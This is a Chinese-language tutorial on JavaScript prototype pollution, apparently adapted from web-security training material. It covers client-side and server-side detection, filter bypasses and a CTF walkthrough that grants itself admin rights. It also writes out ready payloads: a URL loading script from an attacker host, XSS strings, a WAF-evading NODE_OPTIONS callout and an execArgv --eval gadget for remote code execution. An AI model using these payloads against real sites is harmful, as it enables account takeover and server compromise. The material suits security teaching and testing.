0x01 什么是JavaScript原型(prototype)
JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型(prototype)。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。
说的通俗一点:原型就是将不同的变量类型转换成了一个默认包含众多内置方法的对象。
您可以在下面看到这些全局原型的更多示例:
et myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
1.以后端开发者为例:如果是后端开发者应该会知道面向对象的链式对象。在指向对象方法处理后,返回自身或其它对象从而设置更多属性或执行函数。
2.以前端开发者为例:在定义字符串变量后字符串会自动分配内置的String.prototype.该原型会包含一些对字符串操作的函数,你可以轻松的直接使用,如转换成大写字符:
# 定义一个字符串,调用默认的原型函数:toUpperCase();
let str = "Hello Prototype".toUpperCase();
// 输出:HELLO PROTOTYPE
如没有默认字符串的原型支持。以函数方式来转换大写者写法如下:
# 定义一个字符串
let str = "Hello Prototype";
# 调用函数:toUpperCase();
let str2 = toUpperCase(str);
// 输出:HELLO PROTOTYPE
对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象。
内置原型提供了用于处理基本数据类型的有用属性和方法。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中。
0x02 什么是原型污染?
原型污染是一个 JavaScript 漏洞,正如我们上面所说,创建变量时内置了众多方法。攻击者可以利用它向全局对象原型添加任意属性,用户定义的对象可以继承这些属性。
例如内置字符串内置方法 toUpperCase 作用时转换大写。我们可以利用原型对其方法进行任意修改,你可以修改成转换成小写。这就是原型污染。
污染:对原有的内容进行串改以至于它不再“单纯”了, “我脏了”
0x03 JavaScript 原型污染相关基础
在对JavaScript 进行漏洞利用前,先简单了解一下基础,如果你有基础,可以跳过这个小节。
JavaScript 对象
JavaScript 对象本质上只是多个 key:value 的集合,其中key是指名称,value是值。
例如:
姓名(key):张三(value)
性别(key):男(value)
...
以下对象可以代表:
const user = {
name: "张三",
sex: "男"...
}
您可以通过使用点表示法或方括号表示法来引用其各自的键来访问对象的属性
user.username // 输出:张三
user['sex'] // 输出:男
除了数据之外,属性还可能包含可执行函数。在这种情况下,该函数称为“方法”。
const user = {
name: "张三",
sex: "男",
exampleMethod: function(){
// do something
}
}
上面的示例是一个“对象文字”,这意味着它是使用大括号语法创建的,以显式声明其属性及其初始值。然而,重要的是要理解 JavaScript 中几乎所有内容都是底层的对象。在这些材料中,术语“对象”指的是所有实体,而不仅仅是对象文字。
JavaScript 中的对象继承是如何工作的?
每当您引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它。
给定以下对象,这使您能够引用myObject.propertyA,例如:您可以使用浏览器控制台来查看此行为的实际效果。首先,创建一个完全空的对象:
let myObject = {};
myObject后跟一个点。控制台会提示您从属性和方法列表中进行选择:
尽管没有为对象本身定义属性或方法,但它继承了内置的一些属性或方法Object.prototype。
0x04 原型链
在对变量类型使用原型后的生成的结果依然是一个新的原型。由于实际上 JavaScript 中的所有内容都是底层的对象,因此这条链最终会回到顶层Object.prototype。例如同时将其先转换小写再转换大写:
"hEllo".toLowerCase().toUpperCase();
重要的是,对象不仅从其直接原型继承属性,而且从原型链中位于其上方的所有对象继承属性。在上面的示例中,这意味着该对象可以访问 和的username属性和 String.prototype 方法。如:
const user = {
name: "法外狂徒",
sex: "男",
age: 12,
en_name:"fawai"
}
// 调用en_name并转换成大写:
user.en_name.toUpperCase();
# 优先级:用户定义->原型
使用 proto访问对象的原型
每个对象都有一个特殊的属性,您可以使用它来访问其原型。尽管它没有正式的标准化名称,但__proto__它是大多数浏览器使用的事实上的标准。如果您熟悉面向对象的语言,那么此属性既可用作对象原型的 getter 又可用作 setter。这意味着您可以使用它来读取原型及其属性,甚至在必要时重新分配它们。
与任何属性一样,您可以__proto__使用括号或点符号进行访问:
您甚至可以链接引用以__proto__沿着原型链向上引用:
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
修改原型
开发人员可以自定义或重写原型内置方法的行为,甚至添加新方法来执行有用的操作。
例如,现代 JavaScript 提供了trim()字符串方法,使您能够轻松删除任何前导或尾随空格。在引入此内置方法之前,开发人员有时会String.prototype通过执行以下操作将自己的此行为的自定义实现添加到对象中:
String.prototype.trim = function(){
// 删除前后空格
return "我不干净了";
}
由于原型继承,所有字符串都可以访问此方法:
let username = " 前后空格 ";
username.trim(); // "我不干净了"
0x05 原型污染漏洞注入过程?
当 JavaScript 函数递归地将包含用户可控制属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需首先清理key。这可允许攻击者注入带有key(如__proto__
)的属性以及任意嵌套属性。
由于 JavaScript __proto__
上下文中的特殊含义,合并操作可以将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以使用包含有害值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用。
有可能污染任何原型对象,但这最常发生在内置的全局 Object.prototype
.
成功利用原型污染需要以下关键要素:
-
原型污染源 - 这是使您能够使用任意属性毒害原型对象的任何输入。
-
接收器 - 换句话说,可以执行任意代码的 JavaScript 函数或 DOM 元素。
-
可利用的属性 - 这是在未经适当筛选或清理的情况下传递到接收器的任何属性。
原型污染源
原型污染源是任何用户可控的输入,使您能够向原型对象添加任意属性。最常见的来源如下:
-
基于URL参数进行污染
-
基于JSON的原型污染
-
基于网络消息污染
1.基于 URL参数进行污染
考虑以下 URL,其中包含攻击者构建的查询字符串:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
当将查询字符串分成对时key:value,URL 解析器可能会将其解释__proto__为任意字符串。让我们看看如果这些key和value作为属性合并到现有对象中会发生什么。
您可能认为该__proto__属性及其嵌套evilProperty将被添加到目标对象,如下所示:
{
existingProperty1: 'foo',
existingProperty2: 'bar',
__proto__: {
evilProperty: 'payload'
}
}
然而,事实并非如此。evilProperty在某些时候,递归合并操作可能会分配与以下等效的语句 的值:
targetObject.__proto__.evilProperty = 'payload';
在此分配期间,JavaScript 引擎将其视为__proto__原型的 getter结果,evilProperty被分配给返回的原型对象而不是目标对象本身。假设目标对象使用默认值Object.prototype,JavaScript 运行时中的所有对象现在都将继承evilProperty,除非它们已经拥有自己的属性和匹配的键。
注意:注入名为 的属性evilProperty不太可能产生任何效果。只是为了演示,现实中你可以利用相同的技术来对其进行原型污染
2.基于 JSON 的原型污染
用户可控的对象通常是使用该JSON.parse()方法从 JSON 字符串派生的。有趣的是,JSON.parse()还将 JSON 对象中的任何key视为任意字符串,包括__proto__. 这为原型污染提供了另一个潜在载体。
假设攻击者通过网络消息注入以下恶意 JSON:
{
"__proto__": {
"evilProperty": "payload"
}
}
如果通过该JSON.parse()方法将其转换为 JavaScript 对象,则生成的对象实际上将具有一个带有 key 的属性__proto__:
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
如果通过创建的对象JSON.parse() 在没有适当清理key的情况下合并到现有对象中,这也会导致分配期间的原型污染,正如我们在上面 基于 URL 的示例中看到的那样。
JSON.parse:用于将json转换成数组
hasOwnProperty方法用于检查对象是否具有指定的属性,可以帮助我们确定属性是否属于对象自身,而不是继承自原型链。
原型污染接收函数
在我们了解可支撑原型污染的源后,我们需要找到能解析执行的接收函数。
原型污染汇本质上只是一个 JavaScript 函数或 DOM 元素,您可以通过原型污染访问它,这使您能够执行任意 JavaScript 或系统命令。我们在 DOM XSS 小节中广泛介绍了一些客户端接收器。
由于原型污染允许您控制原本无法访问的属性,因此这可能使您能够在目标应用程序中达到许多其他属性。不熟悉原型污染的开发人员可能会错误地认为这些属性不是用户可控制的。
可利用的属性
原型污染属性提供了一种将原型污染漏洞转化为实际漏洞的方法。这是符合以下条件的任何属性:
-
由应用程序以不安全的方式使用,例如将其传递到接收器,而没有进行适当的筛选或清理。
-
攻击者可通过原型污染进行控制。换句话说,对象必须能够继承攻击者添加到原型的属性的恶意版本。
如果属性直接在对象本身上定义,则属性不能是小工具。在这种情况下,对象自己的属性版本优先于能够添加到原型的任何恶意版本。健壮的网站还可以显式将对象的原型设置为 null
,这可确保它根本不继承任何属性。
0x06 原型污染漏洞示例
许多 JavaScript 库接受开发人员可用于设置不同配置选项的对象。库代码检查开发人员是否已显式向此对象添加某些属性,如果是,则相应地调整配置。如果表示特定选项的属性不存在,则通常使用预定义的默认选项。一个简化的示例可能如下所示:
let transport_url = config.transport_url || defaults.transport_url;
现在假设库代码使用它 transport_url
来添加对页面的脚本引用:
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
如果网站的开发人员尚未在其 config
对象上设置 transport_url
属性,则这是一个潜在的漏洞。如果攻击者能够用自己的transport_url
属性污染全局 Object.prototype
,则 config
对象将继承该属性,因此,将此脚本设置为 src
攻击者选择的域。
例如,如果原型可以通过查询参数污染,则攻击者只需诱使受害者访问特制的URL,即可使其浏览器从攻击者控制的域导入恶意JavaScript文件:
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
通过提供 data:
URL,攻击者还可以直接在查询字符串中嵌入 XSS 有效负载,如下所示:
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
请注意,此示例 //
中的尾随只是为了注释掉硬编码 /example.js
的后缀。
0x07 客户端原型污染漏洞
在本节中,将学习到如何在野区查找客户端原型污染漏洞。为了帮助巩固您对这些漏洞如何工作的理解,我们将介绍如何手动执行此操作。
查找JavaScript客户端原型污染源
手动查找原型污染源在很大程度上是一个反复试验的情况。简而言之,您需要尝试不同的方法来添加任意属性Object.prototype
直到找到有效的注入点。
测试客户端漏洞涉及以下步骤:
1.尝试通过查询字符串、URL 片段和任何 JSON 输入注入任意属性。例如:
vulnerable-website.com/?__proto__[foo]=bar
2.在浏览器控制台中,检查 Object.prototype
是否成功用任意属性污染了它:
Object.prototype.foo
//输出 “bar”表示您已成功污染原型
//输出 undefined 表示攻击未成功
3.如果该属性未添加到原型中,请尝试使用不同的技术,例如切换到点表示法而不是括号表示法,反之亦然:
vulnerable-website.com/?__proto__.foo=bar
4.对每个潜在注入点重复此过程。
如果这两种技术都不成功,您仍然可以通过其构造函数污染原型。稍后我们将更详细地介绍如何执行此操作。
0x08 手动查找客户端原型污染漏洞
如您所见,手动查找原型污染源可能是一个相当乏味的过程。一旦你确定了一个注入点,让你向全局Object.prototype
添加任意属性,下一步是找到一个合适的payload,你可以用它来制作一个漏洞利用。手动客户端原型污染漏洞步骤如下:
1.查看源代码引用了什么脚本组件或审计代码,例如,在控制台中打开源代码tab栏查看引入了什么js:
2.接下来打开 Burp ,启用响应拦截(“代理>选项”>“拦截服务器响应”),并拦截包含要测试的 JavaScript 的响应。
3.在脚本开头添加一条 debugger
语句,然后转发任何剩余的请求和响应。
4.在 Burp 的浏览器中,转到加载目标脚本的页面。该 debugger
语句暂停脚本的执行。
5.当脚本仍处于暂停状态时,切换到控制台并输入以下命令,并替换为 YOUR-PROPERTY
您认为是潜在受损的变量属性之一:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
get() {
console.trace();
return 'polluted';
}
})
该属性将添加到全局 Object.prototype
,并且浏览器将在访问控制台时将堆栈跟踪记录到控制台。
6.按下按钮继续执行脚本并监视控制台。如果出现堆栈跟踪,则确认已在应用程序中的某个位置访问了该属性。
7.展开堆栈跟踪,并使用提供的链接跳转到正在读取属性的代码行。
8.使用浏览器的调试器控件,单步执行执行的每个阶段,以查看属性是否传递到接收器,例如 innerHTML
或 eval()
。
9.对你认为是潜在的任何属性重复此过程。
0x09 通过构造函数进行原型污染
到目前为止,我们专门研究了如何通过特殊 __proto__
访问器属性获取对原型对象的引用。由于这是原型污染的经典技术,因此常见的防御措施是在合并用户控制的对象 __proto__
之前从用户控制的对象中剥离任何属性。这种方法是有缺陷的 __proto__
,因为有替代方法可以引用 Object.prototype
而不依赖于字符串。
除非它的原型设置为 null ,否则每个 JavaScript 对象都有一个constructor
属性 ,其中包含对用于创建它的构造函数的引用。
例如,可以使用文本语法或通过显式调用 Object()
构造函数来创建新对象,如下所示:
let myObjectLiteral = {};
let myObject = new Object();
然后,可以通过内置 constructor
属性引用 Object()
构造函数:
myObjectLiteral.constructor // function Object(){...}
myObject.constructor // function Object(){...}
请记住,函数也只是引擎盖下的对象。每个构造函数都有一个属性,该 prototype
属性指向将分配给此构造函数创建的任何对象的原型。因此,您还可以访问任何对象的原型,如下所示:
myObject.constructor.prototype // Object.prototype
myString.constructor.prototype // String.prototype
myArray.constructor.prototype // Array.prototype
myObject.constructor.prototype
效于 myObject.__proto__
,这为原型污染提供了另一种方式。
0x10 绕过有缺陷的key过滤方法
网站试图防止原型污染的一个明显方法是在将属性键合并到现有对象之前对其进行清理。但是,一个常见的错误是无法递归清理输入字符串。例如,请考虑以下 URL:
vulnerable-website.com/?__pro__proto__to__.gadget=payload
如果清理过程只是剥离字符串 __proto__
而不多次重复此过程,这将导致以下 URL,这是一个潜在的有效原型污染源:
vulnerable-website.com/?__proto__.gadget=payload
0x11 通过浏览器 API 进行原型污染
您可能会惊讶地发现,在浏览器中通常提供的JavaScript API中有许多广泛的原型污染payload。在本节中,我们将向您展示如何利用这些用于 DOM XSS,从而可能绕过开发人员实施的有缺陷的原型污染防御。
通过 fetch() 进行原型污染
该 Fetch
API 为开发人员提供了一种使用 JavaScript 触发 HTTP 请求的简单方法。该方法 fetch()
接受两个参数:
-
要将请求发送到的 URL。
-
一个选项对象,允许您控制请求的各个部分,例如方法、标头、正文参数等。
以下是如何使用 发送 POST
fetch()
请求的示例:
fetch('https://normal-website.com/my-account/change-email', {
method: 'POST',
body: 'user=carlos&email=carlos%40ginandjuice.shop'
})
如您所见,我们已经显式定义了 method
和 body
属性,但还有许多其他可能的属性未定义。在这种情况下,如果攻击者可以找到合适的攻击点,他们可能会Object.prototype
污染自己的 headers
财产。然后,这可以由传入的选项对象继承 fetch()
,并随后用于生成新的请求。
这可能会导致许多问题。例如,以下代码可能通过原型污染容易受到 DOM XSS 的攻击:
fetch('/my-products.json',{method:"GET"})
.then((response) => response.json())
.then((data) => {
let username = data['x-username'];
let message = document.querySelector('.message');
if(username) {
message.innerHTML = `My products. Logged in as <b>${username}</b>`;
}
let productList = document.querySelector('ul.products');
for(let product of data) {
let product = document.createElement('li');
product.append(product.name);
productList.append(product);
}
})
.catch(console.error);
要利用此漏洞,攻击者可以使用包含恶意 x-username
标头 headers
的属性 Object.prototype
进行污染,如下所示:
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
假设在服务器端,此标头用于在返回的 JSON 文件中设置 x-username
属性的值。在上面易受攻击的客户端代码中,然后将其分配给变量,该 username
变量随后被传递到接收器中 innerHTML
,从而产生 DOM XSS。
可以使用此技术来控制传递给 的选项
fetch()
对象的任何未定义属性。例如,这可能使您能够向请求添加恶意文本。
原型污染通过 Object.defineProperty()
对原型污染有一定了解的开发人员可能会尝试使用 Object.defineProperty()
该方法阻止潜在的小工具。这使您能够直接在受影响的对象上设置不可配置、不可写的属性,如下所示:
Object.defineProperty(vulnerableObject, 'gadgetProperty', {
configurable: false,
writable: false
})
这最初似乎是一种合理的缓解尝试,因为这可以防止易受攻击的对象通过原型链继承小工具属性的恶意版本。但是,这种方法本身就有缺陷。
就像我们之前看到的方法 fetch()
一样,接受一个选项对象, Object.defineProperty()
称为“描述符”。您可以在上面的示例中看到这一点。除此之外,开发人员还可以使用此描述符对象为正在定义的属性设置初始值。但是,如果他们定义此属性的唯一原因是为了防止原型污染,他们可能根本不会费心设置value。
在这种情况下,攻击者可能能够通过 Object.prototype
使用恶意 value
属性污染来绕过此防御。如果这被传递给 的 Object.defineProperty()
描述符对象继承,则攻击者控制的值可能毕竟可以分配给payload属性。
0x12 原型污染实战演示
本次实战利用攻防世界-web-wife_wife 靶场来演示客户端污染,更深刻巩固原型污染原理及思维。
0x01 审计测试源码
测试过程以及识别在这里不多说明,这是一个漫长的猜测过程。这同时和下一节相呼应,这是一个服务端原型注入的靶场。提前简单说一下服务端原型污染:服务端原型污染是最难的,如果是黑盒测试,那过程是相当乏味的。
言归正传,我们看程序总共有2步操作,一步是登陆,一步是注册。主要出问题点在注册部分。我们提供找到的服务端核心代码,让你理解彻底一点:
app.post('/register', (req, res) => {
// 第一段
let user = JSON.parse(req.body) // 核心
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
// 第二段
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
注意观察:JSON.parse 他们都有原型污染的风险。
首先在第一段我们看到它将客户端json参数转换成了对象。最后进行合并基础用户。
第二段中,我们可以分析出如果注册时管理员账户,那么必须输入正确的邀请码。
结合以上两点,配上原型污染的理论。我们可以构造一个原型污染包:req.body。如下:
POST /register HTTP/1.1
Host: 61.147.171.105:49801
Content-Length: 62
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://61.147.171.105:49801
Referer: http://61.147.171.105:49801/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"username":"e","password":"e","__proto__":{"isAdmin":true}}
因此,在进行污染时,将isAdmin设置为了true。接下来在注册成功后,服务端判断使用
user.isAdmin
将会被污染成true,虽然我们并未勾选admin,但经过污染,isAdmin 以及被构造成了true
0x13 服务器端原型污染
JavaScript最初是一种客户端语言,旨在在浏览器中运行。然而,由于服务器端运行时的出现,例如非常流行的 Node.js,JavaScript 现在被广泛用于构建服务器、API 和其他后端应用程序。从逻辑上讲,这意味着原型污染漏洞也可能出现在服务器端环境中。
这里的服务端指的是以JavaScript的框架构造的服务端,而并非是后端语言:PHP/Java ...
尽管基本概念基本保持不变,但识别服务器端原型污染漏洞并将其开发为工作漏洞的过程带来了一些额外的挑战
例如:0x12实战中,如果我们未知服务端代码进行黑盒测试的场景,很难知道哪个点存在原型注入,只能不断的渗透测试。
在本节中,您将学习许多用于服务器端原型污染的黑盒检测技术。我们将介绍如何高效且无损地执行此操作,然后使用故意易受攻击的交互式实验室来演示如何利用原型污染进行远程代码执行。
本节中的一些材料和实验室基于PortSwigger的原始研究。有关更多技术细节以及我们如何开发这些技术的见解,请查看Gareth Heyes随附的白皮书:
服务器端原型污染:无需 DoS 的黑盒检测
由于多种原因,服务器端原型污染通常比其客户端变体更难检测的原因如下:
-
无源代码访问权限 - 与客户端漏洞不同,您通常无法访问易受攻击的 JavaScript。这意味着没有简单的方法来大致了解存在哪些接收器或发现潜在的payload属性。
-
缺少开发人员工具 - 由于 JavaScript 在远程系统上运行,因此您无法像使用浏览器的 DevTools 检查 DOM 那样在运行时检查对象。这意味着很难判断你什么时候成功地污染了原型,除非你已经引起了网站行为的明显变化。此限制显然不适用于白盒测试。
-
DoS 问题 - 使用真实属性成功污染服务器端环境中的对象通常会破坏应用程序功能或使服务器完全瘫痪。由于很容易无意中导致拒绝服务 (DoS),因此在生产环境中进行测试可能很危险。即使您确实发现了漏洞,当您在此过程中基本上破坏了站点时,将其开发为漏洞利用也很棘手。
-
污染持久性 - 在浏览器中进行测试时,只需刷新页面即可撤消所有更改并再次获得干净的环境。一旦污染了服务器端原型,此更改将持续到 Node 进程的整个生命周期,并且您无法重置它。
在以下各节中,我们将介绍一些非破坏性技术,这些技术使您能够安全地测试服务器端原型污染,尽管存在这些限制。
0x14 通过污染属性反射检测服务器端原型污染
开发人员很容易陷入的一个陷阱是忘记或忽略 JavaScript for...in
循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
这不包括由 JavaScript 的本机构造函数设置的内置属性,因为这些属性默认情况下是不可枚举的。
例如:
const myObject = { a: 1, b: 2 };
// 用任意属性污染原型
Object.prototype.foo = 'bar';
// 确认 myObject 没有自己的 foo 属性
myObject.hasOwnProperty('foo'); // false
// 列出 myObject 的属性名称
for(const propertyKey in myObject){
console.log(propertyKey);
}
// 输出:a、b、foo
这也适用于数组,其中 for...in
循环首先遍历每个索引,它本质上只是一个数字属性key,然后再移动到任何继承的属性。
const myArray = ['a','b'];
Object.prototype.foo = 'bar';
for(const arrayKey in myArray){
console.log(arrayKey);
}
// 输出:0, 1, foo
在任一情况下,如果应用程序稍后在响应中包含返回的属性,这可以提供一种简单的方法来探测服务器端原型污染。
POST
或PUT
向应用程序API 提交 JSON 数据的请求是此类行为的主要候选项,因为服务器通常使用新对象或更新对象的 JSON 表示形式进行响应。在这种情况下,您可以尝试使用任意属性污染全局 Object.prototype
,如下所示:
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"user":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"__proto__":{
"foo":"bar"
}
}
如果网站易受攻击,则注入的属性将出现在响应的更新对象中:
HTTP/1.1 200 OK
...
{
"username":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"foo":"bar"
}
在极少数情况下,网站甚至可能使用这些属性来动态生成 HTML,从而导致注入的属性呈现在您的浏览器中。
一旦确定服务器端原型污染是可能的,您就可以寻找潜在的方法用于漏洞利用。任何涉及更新用户数据的功能都值得研究,因为这些功能通常涉及将传入数据合并到表示应用程序中用户的现有对象中。如果可以向自己的用户添加任意属性,则可能会导致许多漏洞,包括权限提升。
0x15 检测服务器端原型污染,无污染属性反射
大多数情况下,即使成功污染服务器端原型对象,也不会在响应中看到受影响的属性。鉴于您也不能只在控制台中检查对象,因此在尝试判断注入是否有效时,这会带来挑战。
一种方法是尝试注入与服务器的潜在配置选项匹配的属性。然后,您可以比较注入前后服务器的行为,以查看此配置更改是否似乎已生效。如果是这样,这强烈表明您已成功发现服务器端原型污染漏洞。
在本节中,我们将介绍以下技术:
-
状态代码覆盖
-
JSON 空间覆盖
-
Charset override 字符集重写
所有这些注入都是非破坏性的,但在成功时仍会在服务器行为中产生一致且独特的变化。这只是一小部分潜在的技术,可以让您了解什么是可能的。有关更多技术细节以及如何能够开发这些技术的见解,请查看随附的白皮书服务器端原型污染:Gareth Heyes的没有DoS的黑盒检测。
状态代码覆盖
像Express这样的服务器端JavaScript框架允许开发人员设置自定义HTTP响应状态。在出现错误的情况下,JavaScript 服务器可能会发出通用的 HTTP 响应,但在正文中包含 JSON 格式的错误对象。这是提供有关发生错误原因的其他详细信息的一种方法,这在默认 HTTP 状态中可能并不明显。
虽然这有点误导,但接收 200 OK
响应甚至相当普遍,只是响应正文包含具有不同状态的错误对象。
HTTP/1.1 200 OK
...
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
Node 的 http-errors
模块包含以下用于生成此类错误响应的函数:
function createError () {
//...
if (type === 'object' && arg instanceof Error) {
err = arg
status = err.status || err.statusCode || status} else if (type === 'number' && i === 0) {
//...
if (typeof status !== 'number' ||
(!statuses.message[status] && (status > 400 || status >= 600))) {
status = 500
}
//...
第一个突出显示的行尝试通过从传递给函数的对象中读取 status
or statusCode
属性来分配 status
变量。如果网站的开发人员尚未显式设置错误的 status
属性,则可以使用它来探测原型污染,如下所示:
-
找到触发错误响应的方法并记下默认状态代码。
-
尝试用自己的
status
属性污染原型。请务必使用由于任何其他原因不太可能发出的模糊状态代码。 -
再次触发错误响应,并检查是否已成功覆盖状态代码。
您必须在
400
-599
范围内选择状态代码。否则,Node 无论如何都会默认为状态500
,正如您从第二个突出显示的行中看到的那样,因此您将不知道是否污染了原型。
JSON 空间覆盖
Express 框架提供了一个 json spaces
选项,可用于配置用于缩进响应中的任何 JSON 数据的空格数。在许多情况下,开发人员未定义此属性,因为他们对默认值感到满意,使其容易受到原型链的污染。
如果您可以访问任何类型的 JSON 响应,则可以尝试使用自己的 json spaces
属性污染原型,然后重新发出相关请求以查看 JSON 中的缩进是否相应增加。您可以执行相同的步骤来删除缩进以确认漏洞。
这是一种特别有用的技术,因为它不依赖于要反映的特定属性。它也非常安全,因为您只需将属性重置为与默认值相同的值即可有效地打开和关闭污染。
尽管原型污染已在Express 4.17.4中修复,但尚未升级的网站可能仍然容易受到攻击。
Charset override 字符集重写
Express 服务器通常实现所谓的“中间件”模块,这些模块可以在请求传递给相应的处理程序函数之前对请求进行预处理。例如,该 body-parser
模块通常用于解析传入请求的正文以生成 req.body
对象。它包含另一个方法,可用于探测服务器端原型污染。
注意,以下代码将选项对象传递到函数中
read()
,该函数用于读取请求正文以进行分析。其中一个选项encoding
确定要使用的字符编码。这要么通过getCharset(req)
函数调用从请求本身派生,要么默认为 UTF-8。
var charset = getCharset(req) || 'utf-8'
function getCharset (req) {
try {
return (contentType.parse(req).parameters.charset || '').toLowerCase()
} catch (e) {
return undefined
}
}
read(req, res, next, parse, debug, {
encoding: charset,
inflate: inflate,
limit: limit,
verify: verify
})
如果您仔细观察该 getCharset()
函数,可以看出开发人员已经预料到Content-Type
标头可能不包含显式 charset
属性,因此他们实现了一些在这种情况下恢复为空字符串的逻辑。至关重要的是,这意味着它可以通过原型污染来控制。如果可以找到其属性在响应中可见的对象,则可以使用它来探测源。在以下示例中,我们将使用 UTF-7 编码和 JSON 源。
1.将任意 UTF-7 编码字符串添加到响应中反映的属性。例如,在 UTF-7 中是 foo
+AGYAbwBv-
.
{
"sessionId":"0123456789",
"username":"wiener",
"role":"+AGYAbwBv-"
}
2.发送请求。默认情况下,服务器不会使用 UTF-7 编码,因此此字符串应以其编码形式出现在响应中。
3.尝试使用显式指定 UTF-7 字符集 content-type
的属性污染原型:
{
"sessionId":"0123456789",
"username":"wiener",
"role":"default",
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
}
4.重复第一个请求。如果您成功污染了原型,现在应该在响应中解码 UTF-7 字符串:
{
"sessionId":"0123456789",
"username":"wiener",
"role":"foo"
}
由于 Node 模块 _http_incoming
中的一个错误,即使请求的实际 Content-Type
标头包含自己的 charset
属性,这也有效。为了避免在请求包含重复标头时覆盖属性,该 _addHeaderLine()
函数在将属性传输到 IncomingMessage
对象之前会检查不存在具有相同key的属性
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
// ...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
如果是这样,则正在处理的标头将被有效删除。由于实现方式的原因,此检查(可能是无意的)包括通过原型链继承的属性。这意味着,如果我们用自己的 content-type
属性污染原型,则此时将删除表示请求中真实 Content-Type
标头的属性以及从标头派生的预期值。
0x16 绕过服务器端原型污染的输入滤波器
网站经常试图通过过滤可疑key(如__proto__
.这种关键的清理方法不是一个强大的长期解决方案,因为有许多方法可以绕过它。例如,攻击者可以:
-
混淆禁止的关键字,以便在清理过程中错过它们。有关详细信息,请参阅绕过有缺陷的key清理。
-
通过构造函数属性而不是
__proto__
.有关更多信息,请参见通过构造函数的原型污染
节点应用程序还可以使用命令行标志 --disable-proto=delete
或 --disable-proto=throw
分别删除或禁用 __proto__
。但是,也可以通过使用构造函数技术来绕过这一点。
0x17 通过服务器端原型污染远程执行代码
虽然客户端原型污染通常会使易受攻击的网站暴露给 DOM XSS,但服务器端原型污染可能会导致远程代码执行 (RCE)。在本节中,您将学习如何识别可能发生这种情况的情况,以及如何利用 Node 应用程序中的一些潜在向量。
识别易受攻击的请求
Node 中有许多潜在的命令执行接收器,其中许多发生在模块中 child_process
。这些通常由一个请求调用,该请求与你能够首先污染原型的请求异步发生。因此,识别这些请求的最佳方法是使用有效负载污染原型,该有效负载在调用时触发与 Burp Collaborator 的交互。
环境 NODE_OPTIONS
变量使您能够定义一串命令行参数,默认情况下,当您启动新的 Node 进程时,应使用这些参数。由于这也是 env
对象的一个属性,因此如果它未定义,则可以通过原型污染来控制它。
Node 用于创建新子进程的某些函数接受可选 shell
属性,该属性使开发人员能够设置运行命令的特定 shell,例如 bash。通过将其与恶意 NODE_OPTIONS
属性相结合,您可以污染原型,从而在创建新的 Node 进程时导致与 Burp Collaborator 交互:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com"".oastify"".com"
}
这样,您可以轻松识别请求何时使用可通过原型污染控制的命令行参数创建新的子进程
主机名中转义的双引号不是绝对必要的。但是,这可以通过混淆主机名来逃避 WAF 和其他抓取主机名的系统来帮助减少误报。
通过 child_process.fork() 远程执行代码
child_process.spawn()
使 child_process.fork()
开发人员能够创建新的 Node 子流程。该方法 fork()
接受选项对象,其中一个潜在选项是 execArgv
属性。这是一个字符串数组,其中包含在生成子进程时应使用的命令行参数。如果开发人员没有定义它,这也意味着它可以通过原型污染来控制。
由于此小工具允许您直接控制命令行参数,因此您可以访问一些使用 NODE_OPTIONS
.特别感兴趣的是 --eval
参数,它使您能够传入将由子进程执行的任意 JavaScript。这可能非常强大,甚至使您能够将其他模块加载到环境中:
"execArgv": [
"--eval=require('<module>')"
]
除了 fork()
之外,该 child_process
模块还包含该方法 execSync()
,该方法将任意字符串作为系统命令执行。通过链接这些 JavaScript 和命令注入接收器,您可以潜在地升级原型污染,以便在服务器上获得完整的 RCE 功能。
通过 child_process.execSync() 远程执行代码
在前面的示例中,我们通过 --eval
命令行参数自己注入 child_process.execSync()
了接收器。在某些情况下,应用程序可能会自行调用此方法以执行系统命令。
就像 fork()
,该方法 execSync()
